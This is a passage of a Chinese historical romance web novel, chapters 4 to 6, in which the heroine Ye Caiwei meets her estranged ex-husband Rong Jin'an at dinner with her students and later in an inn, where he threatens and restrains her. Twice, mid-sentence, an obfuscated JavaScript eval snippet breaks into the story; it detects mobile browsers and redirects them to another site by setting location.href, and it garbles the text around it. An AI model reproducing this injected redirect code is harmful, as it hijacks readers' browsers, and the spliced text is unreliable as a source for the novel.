其他几个学生,昨晚都从佟归鹤口中听说了容津岸也在这座山庄里,眼下终于见到本人,纷纷向清流领袖恭敬行礼。 叶采薇不知道为什么容津岸铁青着脸。 大约是他跟康和县主吵架,还没和好吧。 敷衍寒暄之后,师徒数人离开。 容津岸立在原地良久。 康和县主的婢女见他周遭乌云密布,原本要立刻通秉,这下变得欲言又止。 谁知容津岸抬脚便走,婢女只能硬着头皮叫住他: “容大人,县主醒了,吩咐备下两抬软轿,问大人想即刻出发上山,还是晚一些?” “她要去哪儿是她的事,与我何干?”容津岸觉得莫名其妙,又看向自己的随从: “准备下山,去池州府城。” 回到自己的房间,容津岸从袖笼中掏出一样东西。 也不知道刚才,那么多双男人的眼睛看着,叶采薇是怎么神不知鬼不觉塞给他的。 打开,竟然是用白纸包着的银票。 五千两。 昨天是谁张口就来,说她因为要吃饭、要生活,勉强做了个教书匠糊口? 给他亡母的帛金,一出手,够三百户富裕人家过一整年。 房门被敲响,随从来禀,说已准备妥当,随时可以出发。 容津岸将那张银票仔仔细细叠好,收入怀中。 他知道叶采薇带着男学生们下山,是要去池州府城。 因为,昨晚他从头到尾都躲在暗处,听到了她和他们所有的对话。 她说他表里不一,说他装腔作势。 白天面对他时,她生硬强势; 夜晚面对别的男人,她娇柔软糯。 她从前不是这样的—— “哥哥,你把人家弄疼了……” “哥哥,再亲亲这里嘛。” “哥哥,你会一辈子跟小猫在一起的,对不对?” 4. 共进晚餐 04 黄昏下的池州府城,万头攒动,人山人海,叶采薇几人在热闹非凡的街市上穿行,走走停停,一路往酒楼去。 “怎么,还没看习惯?”叶采薇转头,睨向落后她一步的佟归鹤。 佟归鹤闻言,与并排着的两位同窗相互看了看,又齐齐摇了摇头。 这些平日里恨不得你来我往八百回合的同窗,今日难得步调行动如此一致,叶采薇“嗤”地一笑,她身侧同样笑着的问鹂接了话: “明日到庆林书院的讲会,我们还会这样打扮,你们今晚上,可千万千万要看习惯了。” 两个男学生一听,又同时瞪向了佟归鹤,佟归鹤自知好心办了坏事,摸了摸鼻子,悻悻闭嘴。 其实细究起来不是好心,是他的私心。 来到池州府城的路上,他说起人多,便提议老师最好戴上帷帽,以避开城内诸多闲言碎语,谁知老师一转头,就自己把自己—— 原本肤若凝脂的面颊,被涂得一片蜡黄,上面还撒着好几片深浅不一的斑点;入鬓长眉,被画得漆黑粗浓,毛发还是倒长着;樱桃小口被彻底改变了形状,变得又厚又大;唯有那双顾盼生辉的眼,无法遮掩,昭彰着她原本娉娉袅袅的美貌。 见到老师这样装扮的第一眼,佟归鹤直以为,自己丑陋的私心已然被无情戳穿。 可是他的老师总比他的揣度要高上好几层,也从不会让他难堪,她对美貌根本毫不在意,扮丑都这样坦坦荡荡。 一行人说说笑笑,又穿过一个街口,他们的身边有马车经过,有人掀开帘子,声音清冷: “姚先生,好巧。” 自从和离之后,叶采薇已经很久没有像今日这般,放松开怀地逛过街了。 原本也是想着,容津岸还在山上陪着他的康和县主,她便可以在池州府城里肆无忌惮一些。 谁知道,好心情如同被迎头浇了一盆冰水,滚得满地狼藉。 她都打扮成了这样,怎么还能被容津岸一眼认出来? 容津岸的脸仍旧清朗俊逸,即使被那马车的侧帘盖了小半,也丝毫不掩风华。 尤其当此刻,夕阳西下,余晖斜照,打在他漆黑的瞳孔里,像冬夜里融融的火焰。 他的眼神总是叫人捉摸不透。 一旁的问鹂见状,不由感叹。 这世上确实有许多巧合事。 因为,叶采薇和容津岸真正意义上的第一次见面,和今日一样,也是一个“凑巧”。 那是容津岸去叶府拜会完的第二日。就在前一日,叶采薇点评他文章的那句“华而不实,徒有其表”在同去叶府的国子监新生中如同一记炸开的惊雷传得沸沸扬扬,但随即,又因为叶渚亭当众把他单独叫到书房而杜绝了议论的声息。 这些事,叶采薇都不知晓。 那时的她,刚刚得知了彼时的未婚夫、未及弱冠的六皇子,不仅在天子脚下流连秦楼楚馆夜夜笙歌,甚至还早早与人珠胎暗结。叶采薇那时候活得纯粹,眼里容不得半点沙子,当即约好了闺蜜,一同女扮男装,前去青楼捉人。 路上,马车匆匆行驶,侧帘上下翻动,露出了容津岸的身影,他正在与她相向而行。 “容公子?”她叫住他,用他的表字,“容仲修?” 容津岸疑惑望向她。 大约因为她的容貌酷似早逝的生母姚氏,极少有人能在不知情的情况下,看出她是叶渚亭的女儿。 “我昨日在叶府上见过你。”她解释。 “原来是叶大姑娘,在下失礼。” 他的声音真好听,叶采薇想,有些恍然。昨日在府上见了他的脸和文章,独独没有听他的声音。 “容公子是绩溪人?”她又问。 可是不等容津岸回答,她便猛地惊觉已经耽误了约定的时辰,又赶忙催促车夫,把还在怔忡的男人独自留在原地。 入青楼捉奸之前,叶采薇又被闺蜜重新大改了妆容,改得更像是个五大三粗的男儿。之后便是香艳旖靡的青楼被闹得鸡飞狗跳,叶采薇不怕玉石俱焚,威胁六皇子说如若不让叶渚亭主动退婚,她就把他的龌龊事扬遍京城。 本朝皇室极其注重名声,六皇子虽然从不觉得自己哪里做错,但最终只能咬牙同意。 从青楼里出来,叶采薇又看到容津岸。 彼时,她还不知他对她的印象已然一降再降,主动说起自己方才不辞而别,以道歉为理由,请他去酒楼单独吃饭。 但八年后的今天,叶采薇不想请容津岸吃饭。 对方不知为何没有留在山上,竟然也来到这池州府城,还偏偏在大街上把她叫住。 就好像八年前两人第一次正式见面,情景翻转。 “容大人。”身后的佟归鹤等人万不敢得罪马车上的权臣,在叶采薇踌躇间,纷纷恭敬行礼。 容津岸的视线却似乎只停留在叶采薇脸上: “明日庆林书院的讲会,姚先生也准备以这样的面目参加?” 说话时,他长指夹着车厢侧帘,一副好整以暇的姿态。 几个学生听得大气不敢出。 在此偶遇本是幸事,怎么容大人对老师说话,有一种咄咄逼人的感觉? “庆林书院的讲会远近驰名,无论大儒骚客抑或贩夫走卒皆可往来。我虽一身素衣粗服,但也是讲礼守信之人,明日的讲会断没有将我拒之门外的道理,除非……有人从中作梗。” 回话时,叶采薇拱手垂头,态度谦恭,言语却毫不相让。 片刻沉默后。 “看来,表里不一的,并非我容津岸一人。”说完,男人长指一松,放下侧帘,吩咐车夫出发。 留下几人面面相觑。 “容大人的意思,是在嘲讽先生表里不一吗?”有人大胆开问。 “可是先生高风亮节,除了女扮男装以外,又哪里有什么值得指摘的地方?” 叶采薇没有心思琢磨容津岸的“表里不一”,一直到几人在宜韵酒楼的包厢中坐下,她仍在惴惴另一件事。 明日,庆林书院的讲会,他必会到场。 要她迎难而退、直接躲了他吗? 可是庆林书院的讲会高手云集、博采众长,能亲自观听,是她存了很久的念想。 “先生,先生?”佟归鹤的声音将叶采薇拉回来。 她扫视着学生们青稚的面容,听佟归鹤再问:“要酒吗?” 叶采薇摇头。 “我早说了,昨晚咱们个个喝得人事不省,先生心疼我们,怎么还会同意今晚又饮酒?”有人嗔怪佟归鹤的多此一举。 “总归要先生亲口说了才算数的。”佟归鹤眼尾上扬,抿唇。 叶采薇咧了咧嘴角,心思还在犹豫着讲会的事,对面的人又道: “我还是没想明白,容大人那句话,究竟是什么意思。” “哪一句?说不止他一人表里不一吗?”话题立刻被接了过去,“以我愚见,话里话外,似乎都在暗示,咱们之中,有人给过他‘表里不一’的评价。佟归鹤,昨日你先与他见过面,难道那个人是你?” 叶采薇忽然头皮一麻,总觉得哪里不对。 好像……是从她的口中说出来的? 可是她快速过了一遍清晨与容津岸的对话,确定没有。 “我蠢钝如猪,也不会当面辱骂朝廷命官!”无端接了口大锅的佟归鹤表示自己十分无辜,抬眼瞪了回去,“绝对是我们想多了,他就是随口一说而已。” “也对,咱们琢磨半天瞎费功夫,难道明天在讲会上,谁还敢当面朝他刨根问底吗?” ——“倒也不必等明天,有什么话,现在就可以来问容某。” 背后妄议的对象就出现在包厢门口,所有人都措手不及。 像一出无法收场的闹剧。 此刻,男学生们的内心十分矛盾,不知道该不该邀请门口玉立的男人进来一起享用这顿晚餐。 一方面,像容津岸这样的高官大员,平日里远在京城,若是趁此机会攀上了他,说不定他们在仕途上就可以少奋斗二十年不止; 但另一方面,容津岸不苟言笑、严肃古板,又年长他们许多岁,他们到底还存了许多孩子心性,自信可以不靠走捷径也能够仕途通达,今晚原本其乐融融的师徒晚宴被一个老古板硬插进来,大抵是不会痛快的。 相比起方才的街头偶遇,容津岸的神色疏朗了不少。 眼下这样尴尬的僵持,他只是淡淡扫过包厢中几名男学生各种各样的颜色: “容某是不是表里不一的人,要看你们姚先生如何评价了。” 叶采薇五雷轰顶。 她想起来了,昨晚上的师徒夜谈,到了最后,佟归鹤曾经直白问过她,为什么她向来强调写文章要重质轻表,当年容津岸却能靠着一手凤采鸾章而独得圣眷? ——“你、你不要学他……” ——“他这个人,表里不一,最会装腔作势……” 她当时醉得快不省人事,是这样回答的。 原来,这些话都被容津岸听了去? 所以,他在今日清晨擅闯她的卧房,不仅是因为她当面说他“亡夫故去五年”,还因为她昨晚又私自评价他“表里不一”? 包厢里的学生们当然不知他们老师心头的小船已经被打翻、在狂风巨浪中飘荡浮沉,只是见她面色苍白,又觉得容津岸话藏机锋,两厢犹豫,只能小心翼翼: “先生,若是与容大人有什么误会,不如趁着这顿饭,一齐化解?” 这下,便是在邀请容津岸一同入席了。 “姚先生呢?你若不同意,容某断不敢擅自加入你们的晚膳。”在众人期盼的目光里,容津岸又特意问叶采薇。 礼貌体贴的姿态,和他那副绝好的皮囊相得益彰。 可惜,只有她知道他的真面目。 “只怕民妇相貌丑陋、言语粗鄙,唐突了容大人。”叶采薇僵硬地说。 “难得姚先生天姿国色、满腹经纶,却非要做此面目,又不顾学生们殷切期盼拒我于千里之外,”容津岸说着,笑了起来: “依容某看,‘表里不一’这四个字,用来形容姚先生,最为恰切。” 于是只好在圆桌旁加个座位,请容津岸一起来。 朝中二品大员,自然须往上座,而原本的上座,是叶采薇这个老师在的。 两人顺理成章坐在了一起。 叶采薇知道这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282121|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿饭是吃不好了。 这人身上的气味独特,清冷淡漠又挥之不去,午后辞行时不觉,此刻却源源不断,扑鼻而来。 偏偏这间包厢不大,原本坐下他们几人已算勉强,容津岸加入进来,就更是逼仄得很。 他坐她左侧,右臂每一下动作,都能擦到她的袖笼。 只是碰一下,浅尝辄止。 那个“表里不一”的话题显然不再适合被提起,等上菜的间隙,有人不愿意场面尴尬,竟然大着胆子,压低了嗓音,问容津岸: “其实……在下隐约听过一点风声,就是两个多月前,京城里发生了一桩扑朔迷离的案子,是有关三皇子齐王殿下的。” “妖书案?”出乎那学生所料,容津岸大方回应。 这下,那学生便知晓此事并非秘闻,便顺着话,接着问: “那传闻容大人因为被此案牵连而被迫退出内阁,甚至下野,又……是否属实?” 对于此案的个中细节,容津岸捡着不要紧的,向大家透露一二。 书院的学生一向不谈国事,在这池州府城繁华街巷人声鼎沸的酒楼里,朝廷二品大员亲口谈起遥远京城里波谲云诡的秘辛,此等匪夷所思的情形,让他们无一例外,全都跟着紧张起来。 只有叶采薇如坐针毡,她好想闭上耳朵,阻止那些不想听的人和事钻入她的耳膜。 “三皇子齐王”“五皇子燕王”“六皇子楚王”,还有零星的“废太子”,一声一声,穿越嘈杂鼎沸,狠狠扎进来。 仿佛如同当年那场撼天动地的风波一般,要再一次悍然而决绝地,将她拉上另一条从未想过的道路。 她的胸口被闷在无边的深海,几乎快要窒息。 三皇子齐王是谁?从出生起便和废太子争夺储位的人,她的父亲叶渚亭最大的敌人; 五皇子燕王是齐王的同胞弟弟,却远没有哥哥那样受宠; 六皇子楚王,则原本是她的未婚夫,最不应该出现在如今讨论中的人。 嘉泰四十一年,叶采薇因为无法忍受六皇子沾花惹草,坚决与其退婚。 三年后,嘉泰四十四年四月,太子逆案爆发,证据确凿、震动海内,叶渚亭身为太子党核心成员,一朝沦为阶下囚,是否祸连九族,全在天子一念之间。 那时候,叶采薇日日以泪洗面,无数次懊悔。 若是当初她忍气吞声,身为楚王妃的她,是不是有机会挽回叶渚亭的性命? 她是叶渚亭的独女,一岁丧母,叶渚亭再未续弦,将她如珠如宝一般娇养长大,放她桀骜天性、教她经史子集,让她成为京中贵女最独树一帜的那个。 才华和美貌她都有,她还有叶渚亭无条件无底线的纵容。 在她十一岁那年,叶渚亭还早早便将她许配给了六皇子楚王。六皇子生母不显又为人平庸老实,与储位之争毫无关系,成婚后随他之藩,在藩地平稳一生,是叶渚亭为她能铺垫的未来最好的路。 是她把一切都当成理所应当,是她辜负了拳拳父爱。 叶家家破人亡,她眼睁睁看着; 抄家的官兵把她从小生活的叶府搅得天翻地覆,广梁大门被带锈的铁链锁住,贴上冰冷的封条,她眼睁睁看着; 狱中的叶渚亭瘦得不成人形,只能重复着“是阿爹没有保护好你”,她还是只能眼睁睁看着—— 除了躲在容津岸身后,她还能做什么? 四月,正是春光灿烂的时候,姹紫嫣红的花儿与彩蝶争奇斗艳,她盯着蝴蝶扑扇扑扇的翅膀,一盯就是一整日。 暖融融的阳光打在她的面上,只余一道一道惨白的阴影。 满腹经纶又如何,才比子建又如何,大厦将倾,她依然是废物,是糟粕。 她为什么要苟活下去? 石子再小,扔进汪洋,也能听个响动。 鸟雀有自己的归巢。 她亲手把拥有的一切毁掉。 ——“照容大人的意思,三皇子没有必要多此一举,六皇子则没有那个本事,看下来只有五皇子是幕后主使的可能更大?” 饭桌上,关于新近“妖书案”的讨论还在继续,学生们甚至越说越激动,为了这桩扑朔迷离的政案的幕后主使,争得面红耳赤。 叶采薇的心思和她脸上的妆一样乱。 “其实,原本我以为五皇子最没有可能,但是容大人两句话下来,他又成了嫌疑最大的那一个。”还有人说。 容津岸端茶入口,右臂擦过叶采薇的左臂。 话题好像结束了。 先前点好的菜,已经被店家小二,一盘一盘端上了圆桌。 五颜六色,五彩斑斓。 还有佟归鹤等人,对着每一盘菜肴,都夸得天花乱坠。 饭桌上再一次陷入了热闹非凡。 “我身子不舒服,先回客栈了。”在一片热火朝天的讨论里,叶采薇忽然说。 然后不等男学生们反应,径直起身离去。 包厢里惊愕沉默了片刻,佟归鹤正低着头,给自己编借口要跟着追出去,忽然听到一阵骚动。 “怎么了?”他抬头。 “容大人说,方才先生好像忘了结账,他出去看看。” 5. 停船暂借问 05 叶采薇与容津岸单独吃的第一次饭,结局并不好。 这还要从最开始讲起。 那一日,把自己画得乱七八糟的叶采薇冲向青楼,搅得六皇子的好事鸡飞狗跳,出来时再次遇到容津岸,想起第一次在街头自己的不辞而别,以道歉为由,请他单独吃饭。 她是那间吃饭酒楼的常客,那天的黄昏和往常不同,巷头卖冰糖葫芦的老爷爷生意好极了,巷子里成日打骂闺女的娘子也不再发火,墙角看相的老瞎子没有出摊,大约是那周围人人被他骗了一圈,他已经换了个地方。 和往常不同的还有酒楼的包厢,往常只有叶采薇一人进餐,今日则多了一个。 两人的座位在窗边。 “是我唐突,听到容公子的口音。”叶采薇半边娇靥都沐浴在落日余晖里,“所以才问,容公子是不是来自绩溪。” “容某在歙县长大,绩溪与歙县相邻,口音相近是自然。”容津岸淡淡回道。 他当然不会告诉她,两人不仅仅都算徽州同乡,他们的父亲,还有着十分深厚的渊源。 甚至后来,叶采薇和叶渚亭坚不可破的父女关系,也差点因为这层渊源而粉身碎骨。 他只说: “容某是在京城出生,后来跟着家父外放,回到徽州。” 当时的叶采薇惊喜地笑了起来,长长的羽睫被夕阳镀上金黄的光晕: “那可真巧,我在徽州出生,京城长大;容公子你却在京城出生,徽州长大。” 菜肴一盘盘上桌,她又说:“好像我们有些缘分,却蹉跎到今日才相识。” “君家何处住?妾住在横塘。停船暂借问,或恐是同乡①。” 冷酒入杯,叶采薇柔荑端起杯口,在容津岸筷箸前静置的酒杯上碰了一下: “在街头与你偶遇的一幕,像极了这几句,只不过,我是‘停车暂借问’,不如诗中女子那样坦然真诚,先自报家乡何处。” “同是长干人,自小不相识②。”容津岸看着叶采薇将杯中酒一饮而尽,“叶大姑娘,似乎很欣赏这组《长干曲》。” 叶采薇又笑,杏眼眯成了两弯月牙。 “白描裁剪,寥寥数笔,太白都自叹弗如的诗才,自然是比挖空心思拼凑的华靡之语要来得恳切真挚,叶大姑娘不喜文章空有金碧辉煌的辞藻,也是再自然不过。” “谁说我不喜了?”叶采薇却立刻反驳,“扬葩振藻,文采斐然,歌之诵之,口留余香——” 此时几杯酒下肚,她已然微醺:“我喜欢,喜欢得很!” 容津岸却只看着青花瓷盘精美的忍冬纹。 昨日那句“华而不实,徒有其表”的评价,看来她是出口便忘了。 谎话连篇、傲慢少礼、放浪形骸的,漂亮姑娘。 “这家的五味杏酪鹅特别鲜,容公子多吃几口。” “谢谢。” “还需要加点什么菜吗?” “不用。” “酒呢?容公子怎么一直不喝,是不习惯京城这边的口感?” “尚可。” 自己的话落地,空荡荡没有回音,叶采薇忽然觉得很没有意思。 容津岸。 这个人不讲礼貌,她请他吃饭,跟他道歉,还给他讲起两个人的渊源,他却比万年的冰山还要冷淡。 又喝了几杯闷酒,满桌她爱吃的菜肴都变得索然无味,她不知自己脸上那乱七八糟的男妆已经彻底糊成一片,站起来,对容津岸高傲的背脊说: “你知道吗,你遇见我的时候,我这幅样子,是赶着亲手去把我大好的婚事给搅黄了。很快,很快你们所有人,都会看我的笑话了。” 现在,八年之后,与京城千里之遥的池州府城里,叶采薇再次觉得自己被容津岸看了笑话。 她的学生们并不知她真实身份,谈论起那几个为了皇位争得头破血流的皇子,完全肆无忌惮; 可是容津岸知晓,从头到尾都知晓,那一年她差一点死去,他一直在她身边看着她的。 但他还是要说。 一字一句,毫无保留地说。 是故意让她出丑,让她难堪? 甚至,他竟然还在言语中同时保住了三皇子和六皇子。 三皇子是叶渚亭的仇人,也就是她的仇人; 六皇子是她的前未婚夫,也就是他的情敌; 人品下作低劣到什么程度,可以让他与昔日的仇人、情敌,一笑泯恩仇,携手在朝堂里翻云覆雨? 堂堂清流领袖,多么扣人心弦的一段旷世佳话。 只有她一人痛不欲生。 叶采薇离开宜韵酒楼,脚步如飞,只要快点逃离那些言语,她就再不会像从前那样,不争气地自暴自弃。 她的双眼干涸枯萎,心口也闷得发紧。 街市还是来时的街市,暮色昏沉,华灯初上,身边行人熙熙攘攘,没有人注意到这个快步穿梭的姑娘。 只有落后几步跟着她的容津岸,目光紧紧锁住她。 问鹂当然也是第一时间追出来的,只不过容津岸一个眼神,她就知道自己再不能多干涉一点。 她也远远跟着自家姑娘。 叶采薇垂头快走,几次差一点撞到提着彩灯结伴夜游的闺秀娘子,围观卖艺人的欢呼声一浪高过一浪,她绕行好大一圈,才躲过了刺痛她耳膜的热闹。 还有路边乞丐看不清掌纹的手,扎着双丫髻跟在兄长身后跑来跑去的小姑娘。 甚至五光十色的焰火升空,将浓浓黑幕照亮。 池州府城的夜晚,怎么比帝都京城还要繁华热闹呢? 终于走到客栈门口,膝盖忽然疼痛发作,叶采薇停下来。 也许是方才着急赶路,被疯跑的小童撞过,她浑然不觉。 膝盖疼,是她的老毛病之一。 其中重要的原因,当然是她酷爱从后的姿势,有一大半时间,都心甘情愿跪着。 还有便是,当年,她和容津岸做下的那些荒唐终于被叶渚亭发现,老父亲雷霆震怒,亲手狠狠抽了容津岸三十鞭,然后罚去长跪。叶采薇哭求无门,又实在心疼,便跑到容津岸身边,抱着他血肉模糊的脊背,陪他跪了一整个晚上。 她身上那些和他曾经纠缠不分的痕迹也来参与她的混乱。 她的心疼,它们就跟着一起疼。 在叶采薇弯腰揉膝盖的同时,头顶蓦地一阵响雷。夏日的雨来得石破天惊,等她走进客栈时,脸上早已被砸了不少,肩膀也湿了一小块。 幸好回来了。 她的房间在最顶楼,隔壁那间空着,上去后便是独属于她的静谧天地。 然而扶着墙一步一步往上走,她总觉得哪里不对。 快要到顶时,叶采薇突然停了下来。 因为身后的脚步声,太吵,太烦,又太过于熟悉。 她转头,果然看到今晚的始作俑者,像个被暴雨浇头的顽石,恣肆,不羁,伫立在那里。 眼神清澈无辜,星天月地。 她忍无可忍:“容津岸,你跟着我做什么?” “我住这间客栈。”男人抬头看她。 两人一前一后来到这只有两间房的客栈顶楼,叶采薇饱满的胸脯因为急匆匆赶路而不断起伏。 “你跟踪我?” “没有哪一条王法规定,我不能住在这间客栈。” “你就是故意来搅黄我们师徒饭局的!” “他们用餐全都十分愉快。” “你、你明知道我的心魔是什么,我最怕提起皇子的事,非要当着我的面,大张旗鼓地说是吧?” “是你的学生们好奇来问我的。” “容津岸!” “我在这儿。” “我错了,我错了还不行吗?”叶采薇咬牙切齿,“我不该说你已经死了,我也不该背地里编排你,诽谤你‘表里不一’,我向你郑重道歉。” “终于想起来了?” 叶采薇深深吸了口气。 果然,他就是在报复她,锱铢必较的小人心性,和当年没什么两样。 可是又怎么能和当年相提并论呢? 当年,他们一同在叶渚亭的私堂读书,外人面前,她对他的批评总是不遗余力,恨不得连那手铁画银钩的书道也一并贬到尘埃里。 可是私底下,她又会加倍夸回来,夸他,什么大小呀形状呀,还有他用不完的力气。 他好得不得了。 容津岸的话总是很少,那些因为她不留情面批评而积累的怨气,也在这一下一下的夸赞、一下一下的狠凿里,一下一下发泄殆尽。 总归是谁也不欠谁一下的吧。 “我酒品不好,喝酒误事,如若不是你容阁老不厌其烦反复提醒,我的确回忆不起来。”叶采薇说。 不知不觉,容津岸又近了一步,她与他尚隔距离。 她庆幸此刻的自己已经从往事的泥淖中脱了出来,理智占据上风。 “这件事是我不对,今天早上,我也不该对你恶语相向,都是我的错,是我不对。你拿三皇子六皇子的事敲打我,完全没有任何问题。” 她不看他,把姿态放低。 有几息的沉默。 “薇薇,你脸上的妆花了。”容津岸却突然这么说。 清晰凌厉的大手,托着一丝不苟的手帕。 外面的暴雨声戛然而止,这场雨来去匆匆,就好像是为了让她在他面前顶一张乱七八糟的花脸,专门降下的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282122|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “它不丑。很好看,我很喜欢。”她坚持为它正名。 明天她还要继续化这个妆,去庆林书院听讲会。 “过来拿手帕自己擦,还是要我帮你擦?”容津岸一动不动,语气笃定到,她会像从前那样任他予夺予求。 叶采薇转身:“我的房间在这里。” 谁知容津岸说:“向朝廷命官行贿,证据就在我的手上。” “你——”叶采薇又转了回来。 容津岸头顶同样被暴雨淋湿,落拓恣睢,深山的顽石千年不腐,挺立渊渟岳峙。 “那是我给游娘子仙逝的帛金,容津岸你要点脸,什么叫‘行贿’?!”她的杏眼圆睁,在这张乱七八糟的脸上,却更显灵巧动人。 “阿娘不要你的帛金。”容津岸说。 “那就把银票还给我。”叶采薇伸出手,“是我多此一举,游娘子向来不喜欢我做她儿媳,觉得我是你青云直上的绊脚石,她的儿子,当然不愿意收我的帛金。” 放在她手心的,却是他的手帕。 “那张银票,有一部分已经请你的学生们吃饭了。” 叶采薇眨了眨眼,想明白他都做了些什么—— 先不说哪家酒楼会收五千两那么大额的银票,只说今晚宜韵酒楼那餐饭,最多能花十两银子,他真用她的银票请客,找零的银子呢?都让他的随从扛着、塞到马车里? 五年不见,这人已经把撒谎不眨眼的技能练就得炉火纯青。 叶采薇将容津岸的手帕狠狠拍回去:“剩下的那些银子,权当我送给你和康和县主的新婚礼金,可以吗?” 容津岸的手抖了一下,差一点抓住她的,“非要这么着急?” “我向你行贿,为了什么呢?”叶采薇后退一步,“这件事对我有任何好处吗?” 她急于摆脱和他这样不清不楚的纠缠。 “见了都察院的堂官,你再说这些,让他们分辨——” 与容津岸的声音一同响起的,还有从楼下传来的、佟归鹤的声音: “先生她呀,应该就是被那满脸的妆容给迷糊了,画得乱七八糟,那包厢本来就狭窄,被咱们一闹,肯定闷着了。” 还有两人回应:“可是她刚进宜韵酒楼的时候,和平时没什么两样啊,你怎么斩钉截铁说是那妆的问题?” 声音由下及上,已经越来越近:“不如打个赌?” 叶采薇的心莫名其妙慌了一下。 她正要转身往自己房里走,谁知手腕一热,容津岸竟然拉着她,飞速闪进了他的那间房。 就在同时,几个男学生说说笑笑,已经上了顶楼。 叶采薇被容津岸压在了门板之后。 只是扣着她的手腕,她明明可以支起来推开他,可他逼视的眼神被昏暗的光线一照,竟让她的心跳也随之僵硬停滞。 一门之隔的外面,学生们也突然安静下来。 几息之后。 “好像……门缝里没有光线透出来,”说话的人声音压低了许多,“难道,先生她已经歇下了?” “不会吧,这才刚到戌时,平日里咱们在书院夜读,先生都会陪着我们的,从来没有这么早。” 容津岸压在叶采薇手腕上的力道更重了。 隔壁传来“笃笃”的敲门声,看来是有人按捺不住,想一探究竟。 房里无人,自然没有半点动静。 有大颗汗珠从叶采薇的额头沁出,沿着她的面,滑到她小巧的下巴,滴落。 “里面应当没人,问鹂姑娘也不在。”门外是佟归鹤的声音。 “先生走时,说是她不舒服,要先回客栈……但她人又不在房间,会去哪里呢?”确认顶楼无人后,学生们的声音自然不受控地大了起来。 几乎就是贴在叶采薇的身后。 “还有容大人,结完账,再也没有回来过,他又会去哪里呢?” “容大人日理万机贵人事忙,咱们连先生去哪儿都不知道,关心他去哪儿做什么?关心了他能让我们直接进翰林院,还是入六部?”有人说话一点不客气。 “嘶……你们说,容大人会不会是追着我们先生走了,现在两个人也在一处?” “胡说八道什么呢?他们两个八竿子打不着,可不许给先生造这种谣。”佟归鹤狠狠否定了那些乱七八糟的话,一顿: “既然先生没回来,咱们不如就在隔壁这间房里等着,反正下午来的时候,我听先生说了,这间房没住人。” 凌乱的脚步声越来越近。 叶采薇几乎登时就要弹起来,却在同时被容津岸死死捂住嘴: “不许动,再动,我现在就像以前那样亲你。” 他的声音也死死抵在她的耳廓。 6. 欺负她 06 叶采薇慌得眼泪都快要涌出来了。 她当然知道,容津岸藏在话后面的意思—— 像以前那样亲她,然后再毫不顾忌地、和她双双出现在她的学生们面前,让他们都看到,看得一清二楚,她在他怀里婉转承.欢的模样。 更重要的,不是她在学生们眼里那素来严厉又保守的形象彻底崩塌,而是她与他明明曾经是亲密无间的夫妻,却自山庄重遇时起,就在所有人面前扮演毫无关系—— 教书育人的先生,非但不以身作则,反而满口谎言,带头欺瞒。 这让她以后,还怎么在学生们面前抬头? 还有她的真实身份,那些她极力隐瞒遗忘,不愿再向外人提起只言片语的过去。 她都要被迫端出来。 容津岸小人。 容津岸歹毒至极。 然而被他修长的手死死捂住嘴唇,他身上清冷淡漠的气息也把她死死捂住,叶采薇目眦欲裂,只能瞪住他。 耳边有他的呼吸声。 她从前是很享受他趴在她耳边喘气的。 那时候,明明没有触碰,又好像他吝啬的薄唇,细细密密的亲吻。 她贪恋着他所有的给予。 现在却不。 外面的学生们距离她和他只有几步之遥,只要过来推一推门,就能发现不对劲。 叶采薇耳根涨红发烧,突然开始后悔,自己先前不该多此一举。 是那笔帛金惹的祸。 其实她并非没存私心,康和县主那副小人得志的嘴脸一而再、再而三地故意朝她耀武扬威,当真以为她是个穷酸浅薄、见识短浅的乡野村妇。 她曾经连皇帝最宠爱的公主都敢当面叫板,会把一个小小县主放在眼里? 更何况,这县主连“叶采薇”最真实的光辉事迹都是道听途说,必然不是在京城中从小耳濡目染长大的。 只不过叶采薇不能当面发作。 那笔送给容津岸的帛金,算是给他一个小小的警示。 看,她可以随随便便把他那未婚妻前呼后拥的行头买下来、翻几倍,那么也请他有点自觉,好好约束一下枕边人。 是她想得太简单了。 她不该争强好胜,就该忍一时风平浪静。 否则,刚才两人在外面对峙、她向他道歉之后,她完全可以头也不回地回到自己的房间,而不是因为他一句“向朝廷命官行贿”的威胁,被迫再与他纠缠。 然后变成现在这样,被禁锢在前是狼后是虎的囹圄,要么被容津岸拿捏,要么被学生们发现。 叶采薇的心脏和无尽的悔意一并炸开。 不止,还有烧得烽火连天的怒意。 就算她做错了一件事,容津岸就理所应当该这样欺负她吗? 是谁故意在学生们面前提皇子的事惹她伤心、害她差点失态,又是谁不怀好意住在她隔壁,还威胁她把她押送到都察院、告她向朝廷命官行贿? 是狼心狗肺的容津岸。 他怎么能属猪呢,他明明该属狗才对。 就在叶采薇咬牙切齿之际,捂住她嘴唇的力道,忽然松了。 一门之隔的嘈杂人声和脚步声也已经消失。 “是问鹂,”容津岸解释,“她从楼下上来,帮咱们圆了个谎。” 叶采薇的手腕,还有脸颊被他捂住的地方,辣辣生疼,肩膀僵硬得像被灌了浓厚的铅,大腿因为长久绷直而不断颤抖,膝盖上的老毛病也牵引着上下左右,让她几乎站不稳。 但容津岸却衣冠楚楚,一副冷眼旁观的模样,用“咱们”这个词,对他方才所有做下的恶事欲盖弥彰。 “你知道我刚刚想起什么吗?”还在笑,“先前有一回,你在我房里,你爹突然来找我,我们也这样躲在门背后,明明紧张得要命,你却趁我不注意,偷偷亲我。” 叶采薇扬手给了他一记响亮的耳光。 